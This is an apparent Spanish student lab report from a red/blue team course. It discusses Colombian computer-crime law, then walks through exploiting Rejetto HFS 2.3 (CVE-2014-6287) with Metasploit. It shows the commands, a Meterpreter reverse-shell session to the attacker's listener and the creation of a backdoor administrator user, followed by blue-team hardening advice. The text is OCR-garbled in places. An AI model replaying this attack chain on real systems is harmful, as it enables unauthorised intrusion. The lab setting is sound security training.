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GLOSARIO

VULNERABILIDAD: es una debilidad o fallo en un sistema de informacion que
pone en riesgo la seguridad de la informacion pudiendo permitir que un atacante
puedacomprometer laintegridad, disponibilidad o confidencialidad dela misma.

AMENAZA: toda accion que aprovecha unavulnerabilidad para atentar contra la
seguridad de un sistema de informacion.

INFORMACION: Activo intangible en el cual se manejan identificaciones, datos
personales, cuentas, datos empresariales y corporativos, propiedad intelectual,
conocimiento comercial, formulacion de productos o servicios.

DELITO INFORMATICO: Accionarque va en contras de las leyes establecidas y
que mediante el manejo y conocimiento informatico se aprovecha de las
deficiencias en la seguridad de la informacién, para hacer uso abusivo a la
informacién obienesde terceros

ENTORNO DE PRUEBA: Laboratorio controlado en el cual se recrean las
condiciones deuna posible, falla de sistema, vulnerabilidad del sistema, o un
ataque, con el fin de entenderlo, detallarlo, definirloy proporcionar las herramientas
para su mitigacion

MAQUINA VIRTUAL: Entorno de virtualizacion mediante el uso de diferentes
herramientaslas cuales permiten a partir de un solo dispositivo fisico contar con
particiones virtuales enlas cuales pueden convivir diferentes sistemas operativos,
de este modo se pueden realizar pruebas de vulnerabilidad a aplicacionesy
archivos.

EXPLOIT:Usodelavulnerabilidad en unaaplicacion, sistemainformatico, archivo, la
cualse aprovecha de manera no autorizada.

METASPLOIT: Metasploit Framework es una plataforma modular de pruebas de
penetracion basada en Ruby que le permite escribir, probar y ejecutar cédigo de
explotacion. Metasploit Framework contiene un conjunto de herramientas que
puede utilizar para probar vulnerabilidades de seguridad, enumerar redes, ejecutar
ataquesy evadir la deteccion

METERPRETER: Meterpreter es un payload de Metasploit que proporciona un
shell interactivo desde el cual un atacante puede explorar la maquina objetivo y
ejecutar codigo.



RESUMEN

Por medio de este documento se presenta un resumen de las etapas anteriores en el
curso seminario especializado red team & blue team, en los cuales se plantearon
diferentes situaciones en las cuales un especialista en seguridad de la informacion debe
valerse de sus conocimientos, experiencia y manejo de herramientas para validar,
identificar, comprender, y buscar soluciones que conduzcan a la correccion y mitigacion
de vulnerabilidades tanto a nivel de sistemas operativos como a nivel de aplicaciones,
teniendo en cuenta la multiplicidad de amenazas que pueden presentarse en una
organizacion buscando los puntos débiles para ser aprovechados como puede ser una
fuga de informacion, accesos no autorizados, privilegios de administrador y creacion de
usuarios, loque impacta directamente en los pilares de la seguridad de la informacion.

PALABRAS CLAVE: red team & blue team, fuga de informacion, Mitigacion,
Vulnerabilidad, Sistemas operativos, aplicaciones, amenazas, seguridad de la

informacion.



ABSTRACT

Through this document, a summary of the previous stages in the specialized seminar
course red team and blue team is presented, in which different situations were raised in
which an information security specialist must use their knowledge, experience and
management of tools to validate, identify, understand, and seek solutions thatleadto the
correction and mitigation of vulnerabilities both at the operating system level and at the
application level, taking into account the multiplicity of threats that can arise in
anorganization by looking for weak points to be taken advantage of, such as information
leakage, unauthorized access, administrator privileges and user creation, which directly
impacts the pillars of information security.

KEY WORDS: red team & blue team, leak, mitigation, vulnerability, operating systems,
applications, threats, information security.



INTRODUCCION

Para un especialista en seguridad informatica es importante la identificacion de los
efectos y en especial de lascausas frente aincidentes de seguridad empleando el analisis
de las situaciones, lainvestigaciényla creacion de pruebas a partir de creacion ymontaje
de laboratorios, ademas del empleo de las diferentes herramientas, entornos y
posibilidades que puedan ser Utiles para encontrar la solucién o soluciones para corregir
y mitigar las

causas y efectos tanto de las vulnerabilidades como de las amenazas que buscan la
pérdida de los pilares de la informacion y en muchos casos evitar un delito informatico.

Actualmente se presentan multiples fuentes de informacion confiable las cuales deben ser
consultadas frecuentemente para estar actualizado frente a las nuevas vulnerabilidadesy
amenazas a las cuales se ven expuestos los diferentes sistemas informaticos, este tipode
fuentes por lo general brinda la manera de mitigar o corregir la vulnerabilidad eliminando
una posible amenazay permitiendo proteger y mantenerlos pilares de la informacién en
unaorganizacio



OBJETIVOS

1.1 OBJETIVOS GENERAL

Desarrollar las actividades propuestas, alcanzando las competencias y destrezas
requeridas identificando posibles vulnerabilidades y como se pueden fortalecer y
corregir posibles fallos de seguridad identificados al interior de unaorganizacion.

1.2 OBJETIVOS ESPECIFICOS

e Identificarlosaspectos legales de la seguridad de la informacion en
Colombia
e Reconocerposibles actuacionesqueincurranen delitosinformaticos

e Hacer usode entornode pruebavirtual y realizar uso de herramientas

¢ Identificarfallode seguridad especificoque se presenta en entornode
prueba

e Documentarlos pasos especificos para encontrar el fallo de
seguridad en el entorno de prueba

e Investigartipo vulnerabilidad yreplicar ataque mediante uso de
herramientas especializadas.

e Corregirposiblesvulnerabilidades mediante hardening del sistema
propuesto.

e Proponer herramientas de tipo GLP que permitan mejorar la
seguridad de la informacion sin acarrear costos asociados a
licenciamiento.



2 DESARROLLODEL INFORME

A continuacion, se puede observar la primera situacion problema, a la que nos vimos
enfrentados en el reclutamiento para trabajar con la empresa WhiteHouse Security y esta
relacionada con el Andlisis del Acuerdo de Confidencialidad.

Después de leer el acuerdo de confidencialidad que posee WhiteHouse Security para
firmar con los participantes del reclutamiento, desde la Optica ética y legal podemos
resaltar lo siguiente:

Fragmentos sacados textualmente del acuerdo de confidencialidad.

e Sobre procesos ilegales dentro de Whitehouse Security no podran ser
divulgados.

e Datos secretos como “datos de chuzadas,interceptacion de informacion
accesos abusivos a sistemas informaticos”.

¢ Nodenunciarante lasautoridades actividades sospechosasde espionaje

Argumentacion sobre aspectos no éticos e ilegales.

¢ Enningunacircunstancia,un acuerdo de confidencialidad de una organizacion
puede estar por encima de las leyes colombianas.

e Todo profesional experto en seguridad informatica tiene el compromiso de
divulgar ante las autoridades competentes (Fiscalia, Policia, Ejército, entre
otras), cualquier proceso ilegal del cual tenga conocimiento, sin tener como
prerrequisito la autorizacion de la entidad en donde labora.

¢ Ningun particular ni empresa privada en Colombia, esta autorizado para
realizaralgun tipode chuzadayespionaje,debido a que es un delito.

Estalabor, solo pertenece a algunas entidades del Estado como la Fiscalia, el ejército

y la policia, entre otros; las cuales pueden realizar interceptaciones a teléfonos,
correos electronicos, redes sociales, efc;
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Con el fin de conseguir informacién para un caso en particular o reserva de
Estado. Ley 1273 de 20009.

Por medio de la cual se realizan modificaciones en el Cddigo Penal, creando un nuevo
bien juridico denominado como “de la proteccion de la informacion y de los datos” En
el cual se deben preservan los sistemas que utilicen las tecnologias de la informacion y
lascomunicaciones de una manera integral.

Dentro de la ley N.° 1273 se tienen contemplados algunos de los delitos informéaticos
gue se cometen Y tipificaalgunos de ellos.

Clausulaprimeray segunda, clausulacuarta, paragrafo 3. En el articulo 269A se enuncia
el acceso abusivo a un sistema informatico, se tiene en cuenta para todo lo que tiene
que ver con accesos no autorizados, incluyendo lo que se denomina como “chuzada’,
procedimiento en el cual se utilizan diferentes herramientas

e Enelarticulo 269B indica que no se debe generar indisponibilidad operdida
de acceso sistemas informaticos, a informacion o bases de datosy a redes
de telecomunicaciones.

e En la Clausulasegunda se viola el Articulo 269C el cual Habla de lano
legalidad de interceptacion de datos informaticos, en ningun punto yasea
origen o destino, ademas que contempla la no interceptacion de ondas
electromagnéticas.

e ElArticulo269Dindicaqueesilegal cualquiertipode dafio a nivel desoftware
y hardware, sea memoria o funcionamiento, para tener en cuenta ante
ataques.

e En el articulo 269E se indica el no uso de software malicioso o malware,
pero no indica claramente cuales son los tipos de Malware.

e ElArticulo269F contemplala proteccion de datos personales contenidos en
bases de datos, ficheros, los cuales no pueden ser sustraidos, vendidos,
interceptados.

e La suplantacion de sitios Web con el fin de obtener datos personaleseste
enunciado en el articulo 269G, atiende a personas que clonen paginas
legales o realicen desvi6 de informacion para beneficio propio.

e Enlos articulos 2691y J se contempla el hurto por medios informaticosy la
transferencia no consentida de activos.
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e Existiendo procesos poco confiables en el anexo 3, usted como experto en
ciberseguridad aplicaria a este trabajo en WhiteHouse Security, donde la
organizacion dispone de un sueldo de $15.000.000 de pesos colombianos
mensuales y contrato vitalicio Debe argumentar su respuesta ya sea
afirmativa o negativa y tener en cuenta en la argumentacién lo que se
dispone en COPNIA en su cédigo de ética para ingenieros.

R/ Como la empresa Whitehouse Security estd buscandoun especialista en
seguridad informatica, lo primero que solicitaes la revision delacuerdo entre
las partes, por lo cual se logran evidenciar inicialmente unas posibles faltas
a las leyes colombianas y ética profesional, como es un ejercicio de
identificacion, se le argumenta a la empresa Whitehouse Security los
términos y clausulas que pueden estar en contra de la legalidad, con base
en esta informacion ellos pueden verificar y analizar teniendo en
consideracién la argumentacion de un experto en seguridad informatica, en
caso de que el contrato sea revisado y ajustado acepta ningun tipo de
modificacién no aceptaria la posibilidad de un trabajo en el cual se puedan
llevar a cabo actividades delictivas, criminales 0 que vayan en contra de la
ley, no solo eso, también me considero un profesional integro que valora'y
respeta su conocimiento, como lo indica el cédigo de ética el cual se apoya
en la ley 842 de 2003: “busca que los ingenieros, profesionales afines y
auxiliares, actien con compromiso y honestidad en aras de brindar a la
ciudadania un ejercicio ético de su profesion.

Ademas, desisto de un empleo en el cual pueda verme implicado en
acciones ilicitas cometidas sin conocimiento, ya sea de mi parte o de
compaferos de trabajo, ya que realizar actividades ilegales con el fin de
cumplir las razones laborales no me exonera de la culpa. En el Cdodigo
emitido por el COPNIA el cual se indica como el Codigo de Etica para el
ejercicio de la Ingenieriaen general y susprofesiones afinesy auxiliares, en
su Capitulo.

DE LOS DEBERES Y OBLIGACIONES DE LOS PROFESIONALES. ARTICULO 31.

Esta el paragrafo que indica “Son deberes generales de los profesionales los

siguientes”
f) Denunciar los delitos, contravencionesy faltas contra este Codigo de
Etica, deque tuviere conocimiento con ocasion del ejercicio de su profesion,
aportando toda la informacion y pruebas que tuviere en su poder; Sien caso
de que estas acciones sean llevadas a cabo con plenoconocimiento, estaré
incurriendo en un delito implicando no solo mipersona, sino la profesion y mi
circulo familiar, social, académico, laboral.De nuevo en el Codigo emitidopor
el COPNIA, Cdadigo de Etica para el ejercicio de la Ingenieriaen generaly sus
profesiones afinesy auxiliares, en su Capitulo Il, DE LOS DEBERES
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Y OBLIGACIONES DE LOS PROFESIONALES. ARTICULO 34.

Este paragrafo indica, “Son prohibiciones especiales a los profesionales respecto de la
sociedad”:

a) Ofrecer o aceptar trabajos en contra de las disposiciones legales vigentes,
0 aceptar tareas que excedan la incumbencia que le otorga su titulo y su
propia preparacion.

En el caso de que un profesional incurraen participar de cualquierclase de
delito en el desarrollo de sus funcionesva en contra del codigo de ética,
y en detrimento de su profesion,ademas en caso de un delito esta obligado
legalmente a revelar informacion. En el Cédigo de Etica para el ejercicio de
laIngenieriaen generaly sus profesiones afinesy auxiliares en su Capitulo
I, DELOS DEBERES Y OBLIGACIONES DE LOS.

b) Mantener el secreto y reserva, respecto de toda circunstancia relacionada
con elclienteycon lostrabajos que para él se realizan, salvo obligacién legal
de revelarla o requerimiento del Consejo Profesional respectivo. Por Gltimo,
se dejan en claro las faltas graves que un profesional de la ingenieria en
este caso un especialistaen seguridad informatica debe evitar. En el Cédigo
de Eticapara el ejercicio de la Ingenieriaen general y sus profesiones afines
y auxiliares, se contemplan lasfaltas gravisimas contempladas en el articulo
53 de la ley 842 de 2003. Incurrir en algun delito que atente contra sus
clientes, colegas o autoridades de la Republica, siempre y cuando la
conductaunible comprendael ejercicio de la ingenieriao de algunade sus
profesiones. Cualquier violacion gravisima, segun el criterio del Consejo
respectivo.

En Colombia tenemos la ley Debera buscar la noticia del caso
“OPERACION ANDROMEDA BUGGLY” en la ciudad de Bogota, y redactar
su puntode vista teniendo en cuenta las implicaciones legalesy éticas que
allise pudieron generar.3 de 20091, la cual hacereferencia a la proteccion
de lainformacion y de los datos.

Segun esta ley, el acuerdo de confidencialidad vulnera los siguientes articulos:
Articulos

e Articulo 269A: Acceso abusivoa un sistema informéatico
e Articulo269C: Interceptacion de datos informaticos

13



Argumentacién

The WhiteHouse Security indica que va a acceder a sistemas de
informacion de otras entidades (a través de chuzadas, accesos abusivos,
interceptacion, espionaje) para obtener algun tipo de informacion,
indudablemente sin contar con la autorizacion de estos ultimos ni contar
con orden judicial del Estado. Por lo indicado anteriormente,
evidentemente se violan estos dos articulos.

3. FASE RECOLECCION DE INFORMACION.

Para la exposicion de esta fase nos dedicamos a acumular toda la informacion
creible que la firma tenga desocupado identificando los sistemas y programas en
funcionamiento que ella tiene La material que se emplea para vendimia de
informacién esNMAP en me permite equilibrar puestos abiertos o cerrados adentro
del procesos de trabajo y caracteristicas propias de cada indiviso de ellos enservicios
Ademas se procede a inutilizar le fireware de Windows para potencia embolsarlas
operaciones requeridas para separaciéon de vulnerabilidades que requieren el
proyecto y su concerniente estudio de operaciones en el uso.

Paso 1: Desactivacion de firewall de las maquinas virtuales.

llustracion 1. Desactivar fireware y actualizaciones Win 7 x64.

tana principal del Panel de

trol

car actualizaciones

Wbiar configuracién ) No se instalaron algunas actualizaciones.
historial de actualizaciones

aurar actualizaciones actualizacion seleccionada(s)

Itas

salizaciones: preguntas
 frecuentes

Windows Update

|
_/ No se pudo instalar 1 1 actualizacién importante

| Intentar de nuevo

Errores encontrados:

Cédigo 80073712 Windows Update encontré un error desconocido

Obtener ayuda para este error

Fuente: Elaboracion propia.

llustracion 2. Desactivar fireware y actualizaciones Win 2020 x86.
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@ S & &

Ventana principal del Panel de
control

Permitir un programa o una
caracteristica 3 través de
Firewall de Windows

Cambiar la configuracién de
notificaciones

Activar o desactivar Firewall de
Windows

Restaurar valores
predeterminados

Configuracién avanzada

Solucién de problemas de red

veatambie
Centro de actividades

Centro de redes y recursos
compartidos

ﬂ <« Sistema y seguridad » Firewall de Windows

Ayude a proteger su equipo con Firewall de Window:

Firewall de Windows ayuds a impedir que hackers o software malintencionado obtengan acceso al
€quipo a través de Intemet o de una red.

:Coémo me ayuda un firewall 3 proteger mi equipo?

m

{Qué son las ubicaciones de red?

Actualizar configuracion de firewall

Firewall de Windows no estd usando la
configuracion recomendada para proteger
el equipo.

% Usar la configuracion recomendada
:Cuidl e la configuracién recoemendada?

. &3 Redes domésticas o de trabajo (privadas) Conectado (&

Redes domésticas o del trabajo en cuyos usuarios y dispositivos confie

Estado de Firewall de Windows: Desactivado

Cenexiones entrantes: Bloquear todas las conexiones 2 los programas

que no estén en la lista de programas =

PR YT Yo 2T -

Fuente: Elaboracion propia.

Paso 2: Identificacion de enrutamiento.

llustracion 3. Identificacion de enrutamiento.

Fuente: Elaboracion propia.

Paso 3: Que dispositivos estan conectados ala red.

llustracion 4. Dispositivos conectados a la red 192.168.1.0.
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Fuente: Elaboracion propia.

Paso 4: Identificacion de puertos y servicios win7 x64.

llustracion 5. Analisis de puertosy servicios Win 7 x 64.

Fuente: Elaboracion propia.
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llustracion 6. Andalisis de puertosy servicios Win 7 x 86.

Fuente: Elaboracion propia.

3.1. FASE ANALISIS DE VULNERABILIDAD.

En estafase sevaloran los casos exitosos de nuestras estrategias de penetracion
a través del andlisis y proactividad de vulnerabilidades. En este momentoes
cuando nos damos cuenta de si el proceso de penetracion es eficiente y eficaz.
Las herramientas que utilizamos para este proceso fue NESSUS — NMAP, las
cuales me permiten identificar segun el factor de vulnerabilidad las

caracteristicas de riesgos y estabilidad del sistema:

Paso 1: Entorno anédlisis de vulnerabilidades NESSUS

llustracion 7. Entornooperacion NESSUS.

£

Fuente: Elaboracién propia.
Paso 2: Nuevamente verificamos puertos y servicios para la utilizar la
aplicacion en los procesos de analisis de vulnerabilidad.

17



Fuente: Elaboracion propia.

Paso 3: Ejecucion de andlisis de NESSUS.

llustracion 8. Ejecucién de NESSUS.

0 MNwew - ads Com Comate

]
Saten s e P
ot B aand v

] & Q1D (8] ™ wweo va
~ T

Fuente: Elaboracion propia.

3.2. FASE EXPLOTACION.

Paso 1: Ingreso desdela consola pararealizar el exploit.

llustracion 9. Consola msf exploit.
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Fuente: Elaboracion propia.
Paso 2: Usamos el exploit rejetto 2.3, en este caso se procede a setear el payload:

windows/x64/meterpreter/reverse_tcp. Posteriormente realizamos elseteo del
rhost: 192.168.0.172.

llustracion 10. Exploitrejetto 2.3.

nario: ~ [ est

Archivo Acciones Editar Vista Ayuda

Fuente: Elaboracion propia.

Paso 3: Verificamos que la configuracion del set quedo acorde a lo
establecido.Show options.

llustracion 11. Estado de configuracion SET.
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Fuente: Elaboracion propia.

4. SITUACION PROBLEMA: ANALISIS RED TEAM.

La primera tarea del equipo rojo es determinar la forma o proceso a través del cual
ocurren una serie de fugas de informacion, y estas fugas se manifiestan en los
dispositivosinformaticos dentro de la organizacion.La informacion preliminar obtenida
por el equipo fue que se instalé una aplicacion llamadarejetto v en la maquina donde
sefiltré lainformacion. 2.3 En Windows 7 con arquitectura X64, esta aplicacion parece
tener un exploit relacionado, que puede causar shell inversoy sesiones abiertas
de Meterpreter. La encuesta también investigd la escalada de privilegios causada
por la creacion de usuarios detipo administrador del sistema. El equipo forense genera
una copia del servidor y se la proporciona como experto. Debe verificar posibles
agujeros de seguridad. Si es explotado, debe crear un usuario con su nombre y
apellido. El usuario debe ser administrador. Esto es para mostrar el PoC a la alta
direccion.Informacion mutua.

Obteniendoinformacién

La actividad inicial es importante toda lainformacién posible para iniciar las pruebas
realizadas, contamos con los equipos que vamos atacar tiene instalado Windows 7 y
tiene una herramienta llamada rejetto, al buscar en Google y
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YouTube se puede evidenciar que esta herramienta tiene un hueco de seguridad
delcualle permite al atacante crear unareverse Shellyabrirunasesion de meterpreter

Ahorautilizo Nmap para escanear los puertos de la maquina con Windows 7 para obtener
mas informacion, el comando a ejecutar es el siguiente Nmap IP.

En laimagen que vemos que el puerto 80 se verifica que esta abierto y por la
investigacion previa conocemos que Rejjeto abre el puerto 80, el puerto al parecer.

llustracion 12. Consola Donde Se Ejecuta Comando Nmap Fuente propia.

Nmap scan report for 192.168.1.76
Host is up (0.00038s latency).
Not shown: 986 closed ports

PORT
80/tcp
135/tcp
139/tcp
445/tcp
554/tcp
2869/tcp
5357/tcp
10243/tcp
49152/tcp
49153/tcp
49154/tcp
49155/tcp
49156/tcp
49157/tcp

STATE
open
open
open
open
open
open
open
open
open
open
open
open
open
open

SERVICE
http

msrpc
netbios-ssn
microsoft-ds
rtsp

icslap
wsdapi
unknown
unknown
unknown
unknown
unknown
unknown
unknown

Fuente: Elaboracién propia.

no esta bloqueado porun firewall.

En laimagen vemos que ya tiene un codigo por las plataformas vulnerables son
las de tipo Windows.
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llustracion 13. Analisis Por Medio De Exploit Database.

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)

EDB-ID: CVE: Author: Type: Platform: Date:
2014-6287 AV H REMOTE WINDOWS
EDB Verified: Exploit: &/ {} Vulnerable App: &

< ©

Fuente: Elaboracion propia.

Ahora vemos en la imagen la descripcién de la vulnerabilidad y como esta es
aprovechada.

llustracion 14. Descripcion De La Vulnerabilidad Encontrada.

VULNERABILITIES

JIKCVE-2014-6287 Detail

Current Description

The findMacroMarker function in parserLib.pas In Rejetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c
allows remote attackers to execute arbitrary programs via a %600 sequence in a search action.

<View Analysis Description

Severity CVSS Version3.x  [IRRISIERINEX)

CVSS 3.x Severity and Metrics:

‘i \. NIST: NVD Base Score: Vector:
9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UEN/S:U/C:H/I:H/AH

Fuente: Elaboracion propia.

Conlainformacion anteriorvamos a proceder a explotar la vulnerabilidad.
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Utilizamos Metasploit framework para buscarque exploitss podrian utilizarcon elcomando
msfconsole.

Ahora utilizamos el comando search Rejjeto el cual permitird buscar en la base de datos
interna de Metasploit.

llustracion 15. Exploitque podemos utilizar para esta vulnerabilidad.

msf6 > search Rejetto

Matching Modules

# Name Disclosure Date Rank
k Description

@ exploit/windows/http/pejette hfs_exec 2014-09-11
Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example

Fuente: Elaboracién propia.

DATOS E INFORMACION DEL ANEXO 4 — ESCENARIO 3 QUE LE FUERON DE
AYUDA PARA IDENTIFICAR EL FALLO DE SEGURIDAD ESPECIFICO EL CUAL
ATACA A LA MAQUINA WINDOWS 7 X64.

Los datos quefueron utilizados para identificar el fallode seguridad fueron

1- el nombre de la aplicacion se puede busqueda en Google en
Buscarvulnerabilidades.

2- Eltipo de sistema operativo en este caso Windows.

3- Se es posible conseguirunaShellreversay unasesion de meterpr

HERRAMIENTA UTILIZADA PARA PODER IDENTIFICAR LOS FALLOS DE
SEGURIDAD
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Las herramientas utilizadas paraidentificarlos fallos de seguridad fueron.

v Google (Puede encontrar si alguien mas encontro la
vulnerabilidady si seencuentra en una base de datos)

v rEeX l)c%(i)tso%b (se verifica que es posible la ejecucion de comandos

v Nmap (Me permite saber que puertos se encuentran
corriendo y queaplicaciones)
Metasploit (Me permite buscar los exploits disponibles para aprovecharla
vulnerabilidad)

¢ QUE PUERTO ABRE LA APLICACION ESPECIFICA EN EL ANEXO?
Los puertos que abren es el 80 el cual es identificado también por Nmap.

COMO AFECTAEL ATAQUE A LA MAQUINA (WINDOWS 7 X64), HAGA USO
DEGRAFICOS PARA EXPLICAR EL ATAQUE.

Lo que entiendo esque Kali noinicié primero unaconexion con el pc que estamos
atacando, pero la computadora de la victima recibe el comandoy se conectaa la
computadora del atacante, por lo que el firewall del sistema operativo no lo
detectay establece la conexion. Posiblemente, cuando Se crea esta conexion, ya
tenemosun Shell que puede ejecutar comandos de forma remota. El siguiente
diagrama explica el proceso.

PASOS Y EVIDENCIAS DE LA ACTIVIDAD DESARROLLADA PARA EXPLOTARLA
VULNERABILIDAD EN LA MAQUINA WINDOWS 7.
Se carga el exploit que verificamos en pasos anteriores,el exploit nos carga por

defecto el payload.

llustracion 16. Carga De Exploit.

msf6 > use exploit/windows/http/rejetto_hfs_exec
No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit( ) >

Fuente: Elaboracion propia.

Ahoravamos a ver la IP del del atacante y la IP del equipo de la victima para ello
digitamos el comando SET.
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llustracion 17. Configuracion De Ips.

msf6 exploit( ) > set RHOST 192.168.1.76
RHOST = 192.168.1.76

msf6 exploit( ) > set SRVHOST 192.168.1.77
SRVHOST = 192.168.1.77
msf6 exploit( Y |

Fuente: Elaboracion propia.

Ahora configuramos escribimos el comando exploitel cual ve la vulnerabilidad,
estoy realiza una Reversay unasesion ahoraestamos en la maquina.

llustracion 19. ShellReversa Y Sesion De Meterpreter.

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.77:4444

Using URL: http://192.168.1.77:8080/UiPMLONctkctg0

Server started.

Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exe
c.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exe
c.rb:110: warning: URI.escape is obsolete

Payload request received: /UiPMLONctkctg®

Sending stage (175174 bytes) to 192.168.1.76

Meterpreter session 1 opened (192.168.1.77:4444 — 192,.168.1.76:49165) at

Fuente: Elaboracion propia.

Creamos un usuarioadministradoren la maquina de la victima, para realizamos loque
vamos a utilizar la aplicacion incognito la cual nos permite crear usuarios y agregarles
gruposde seguridad,con el comandoadd_user“usuario”“password” lopodemos crear

llustracion 18. Creacion De Usuario Administrador.

(-] Warning: Not currently running as SYSTEM, not all tokens will be availabl
¢

Call rev2self if primary process token is SYSTEM

Fuente: Elaboracion propia.

En la siguiente imagen procedemos a asignarle el grupo de administradores al
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usuario.

llustracion 19. Asignacién De Permisos De Administrador.

meterpreter > list_tokens -g
[-] warning: Not currently running as SYSTEM, not all tokens will be availabl
B

Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

\

\INICIO DE SESION EN LA CONSOLA
\Todos

BUILTIN\Usuarios

NT AUTHORITY\Autenticacion NTLM

NT AUTHORITY\Esta compafia

NT AUTHORITY\INTERACTIVE

NT AUTHORITY\SERVICIO

NT AUTHORITY\Usuarios autentificados

I

Fuente: Elaboracion propia.

Para crear el usuario el grupo de administrador escribimos el comando
add_localgroup_user.

Ahorasi entramos en el PC de la victima por la interfaz de Windows vemos que
el usuario se cred y es un administrador del sistema.

llustracion 20. Usuarios Activos En Pc De La Victima.

Elegir la cuenta que desee cambiar

usuario
Administrador
] Invitado
La cuenta de invitado ests desactivada

Crear una nueva cuenta

Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
= <

Ir 2 1a pa

afigurar Control parental

na principal de Cuentas de usuario

Fuente: Elaboracion propia.
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4.1. SITUACION PROBLEMA: ANALISIS BLUE TEAM.

WhiteHouse Security solicitaa sus integrantes de Blueteam contenery sacar adelante
un ataque informatico el cual se esta produciendo en tiempo real. Lamaquina que se
debe analizar es la Windows 7 X64 analizada en la actividad WhiteHouse Security
requiere que sus miembros de Blueteam controlen eimplementen ataquesinformaticos
en tiempo real. La maquina a analizar es la Windows 7 X64 analizada en la actividad
Anterior. La organizacidén necesita realizar un analisis detallado de lo que esta
sucediendo a nivel técnico del "sistema operativo y red". A través de la informacion
recopilada, se espera que, dentro de sus conocimientos profesionales como miembro
del equipo azul, pueda controlar el ataquepara evitar que genere cambios dentro de la
organizacion Mucho dafio. WhiteHose Security te informaque notienes el presupuesto
para usar herramientas de pago, por lo tanto, los expertos en ciberseguridad deben
elegir un conjunto minimo de herramientas con licencia GPL. Si me encuentro en un
atague en tiempo real, lo primero que quiero preguntar son los puertos que abro en el
servidor, y usaré una herramienta llamada Nmap para hacer esto, que me permite
rastrearlos.

Después de determinar los puertos, continle cerrandolos, luego cambie las
contrasefiasde los usuarios del sistema atacado y verifique silos usuarios creadosson
inconsistentes con la empresa para eliminarlos.

v' Para evitar que este tipo de ataque vuelva a ocurrir, las medidas de
fortalecimiento que tomaré son las siguientes:
v' Considerando que el lugar al que ingresan para ejecutar el ataque es a través
del puerto 80, lo primero que tienen que hacer es cerrar este puerto yotros
puertos abiertos que puedan ser usados para futurosataques.

v' Cambiar la contrasefia de acceso guardada por defecto en nuestro
sistema.
v’ Identificarusuarios que no necesitan sercreados en nuestro sistema y eliminar
o bloquear el acceso.

v Aseguresede quelaPC notengaun firewall e instalelos.

Establecera ciertos protocolos de seguridad que los usuarios del sistema o de la red
deben seguir, por ejemplo, no instalar programas descargados de paginas de mala
reputacion.
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los sistemas de informacién, CSIRT son quienes reciben y analizan las
incidencias de seguridad informaticay establecen las acciones de respuesta
ante dichoseventos.

v' CSIRT ofrecen servicios mas completos, mientras que el equipo azul trabaja
basado en el monitoreo de los sistemas informéaticos en busca de de
vulnerabilidadesyasirealizar los planes de mejora verificando el usode diversas
aplicativos, los CSIRT ademas de hacer lo antes mencionadocomola
evaluacion, auditoriay evaluacion de la seguridad de los sistemas informaticos
de la organizacién, también proporciona desarrollo de herramientas para la
seguridad de la informacién.

v' Varios de los analisis de vulnerabilidades que se hacen en los blue team, se
realizan n de los estudios que se verifican por los CSIRT, ya que ellos
seencargan de verificar un centro de respuesta a incidentes de seguridad de
tecnologias de la informacion donde comparte la informacién para las
auditorias.

COMO UTILIZAR CIS

Los controles CIS se hace como metodologia de implementar de buenas
practicas de seguridad informatica, ya que este nos brindalo que debemos seguir
en orden dependiendo la vulnerabilidad es decir que nos marcan una ruta
estandar en los problemas de seguridad informéatica mas comunes.

ya que los controles CIS son verificados con informacion encontrada de diferentes
sectores y con base a diversos incidentes de seguridad que han ocurrido en todo
el mundo, es una comunidad global que nos ayuda a implementar dichos controles
nosolode formatécnicasi noqueya estan enfocados al marco legal.

FUNCIONES Y CARACTERISTICAS PRINCIPALES DE SIEM.

v' Los sistemas SIEM, es unatecnologiaque le permite monitorizar entiempo real
el comportamiento de los sistemas informaticos, detectando,
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respondiendoyneutralizando amenazasinformaticas.

v' Unade sus principales caracteristicas es que SIEM permite tener control totalde
la seguridadinformaticade la empresa, ya quetiene acceso a todos los eventos
gue ocurren dentro de la empresa lo que le permite actuar de formaeficaz.

v' SIEM es unaunién de dos tecnologias SEMy SIM, SEM se encargade verificar
la informacién y permite analizarla en tiempo real. Y SIM seen cargada del
almacenamiento de la informacion paraluego analizarlas.

v' Al contar con almacenamiento de informacion de amenazas de seguridad
nosolo permite controlar las mas conocidas si ho también las mas dificiles de
detectar.

Dentrode susfunciones estan las siguientes:

v A través de su alta velocidad y la informacion histérica a la que tiene
accesopermite que la investigacion de alertas de seguridad se lleve de forma
mas eficiente.

v' Proporciona a los ingenieros de seguridad mayor visibilidad y capacidad
dedeteccion en amenazas, brindandoles la metodologia y mejor modo de
actuar.

v" Monitoreo en tiempo real de las redes de la empresa

v" Recoge informacion de la actividad de los usuarios no solo en los sistemas
informéaticos si no también en lared, lo que permite identificar posibles brechas
de seguridad y comportamientos maliciosos.

HERRAMIENTAS DE CONTENCION DE ATAQUES INFORMATICOS.

v" Agnitum Outpost Free: Teniendo en cuenta que los Firewall son unas de las
herramientas que mas nos son utiles para la seguridad informética, tanto para
prevencion como contencidn en un ataque, Agnitum Outpost Free es uno de los
mejores firewall del mercado y de los mas potentes, este nos permite proteger
y detectar las aplicaciones que estan tratando de compartir informacién con el
exterior, 1o que nos permite controlar la
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actividad en nuestrared, y evitar que programas maliciosos propaguen su
ataque.

v' Malwarebytes: Otro Herramienta importante para la contencién de ataques
informaticos son los antimalware, ya que ademas de protegernos de posibles
atagues también permite remediar software malicioso en los dispositivos
informéaticosde maneraindividual,unode los antimalware mas recomendados
es: Malwarebytes el cual nos ofrece excelentetecnologia para la destruccion de
malware, proteccion antivirusy eliminacion detallada de malware y spyware.

v' Cyber Triage Lite, Es una herramienta de respuesta de incidentes, la cual
recopila informacién de nuestros sistemas y permite que el andlisis de
dichainformacion sea efectivo para la deteccién de intrusos, mostrando la
informacion en linea de tiempo y permite la generacion de informes en HTML.

5. ASPECTOSQUE APORTENAL DESARROLLO DE ESTRATEGIAS DE
REDTEAM & BLUETEAM.

Puede ayudar a desarrollar algunos aspectos de la estrategia del equipo rojo y azul.
